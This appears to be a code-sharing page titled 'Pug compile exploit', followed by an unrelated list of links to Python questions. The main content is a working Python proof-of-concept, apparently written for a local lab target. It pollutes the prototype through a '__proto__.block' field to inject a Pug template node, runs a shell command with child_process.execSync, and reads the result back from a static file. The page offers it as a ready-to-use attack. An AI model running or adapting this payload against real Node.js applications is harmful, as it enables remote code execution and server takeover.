Pug compile exploit

import requests

ENDPOINT = 'http://127.0.0.1:1337/api/submit'
OUTPUT = 'http://127.0.0.1:1337/static/out'

request = requests.post(ENDPOINT, json = {
   "artist.name":"Gingell",
       "__proto__.block": {
           "type":"Text",
           "line":"process.mainModule.require('child_process').execSync('ls > /app/static/out')"
       }
})
print (request.text)
print (requests.get(OUTPUT).text)

Similar codes

44 votes182 views3 answers
How can I sort a dictionary in python according to its values?
Python
0 vote187 views1 answer
Request.build_absolute_uri django
Python
0 vote180 views2 answers
Remove repetitive characters from the specified column of a given DataFrame
Python
1 vote152 views1 answer
Django admin slug auto populate
Python
0 vote193 views1 answer
Dont truncate dataframe jupyter pd display options
Python
0 vote230 views1 answer
Sort a set in python
Python
1 vote317 views1 answer
Django sort descending
Python
1 vote196 views1 answer
Creating folder in s3 bucket python
Python
1 vote313 views2 answers
Simple flask hello world
Python Flask
0 vote166 views1 answer
Python argparse option groups
Python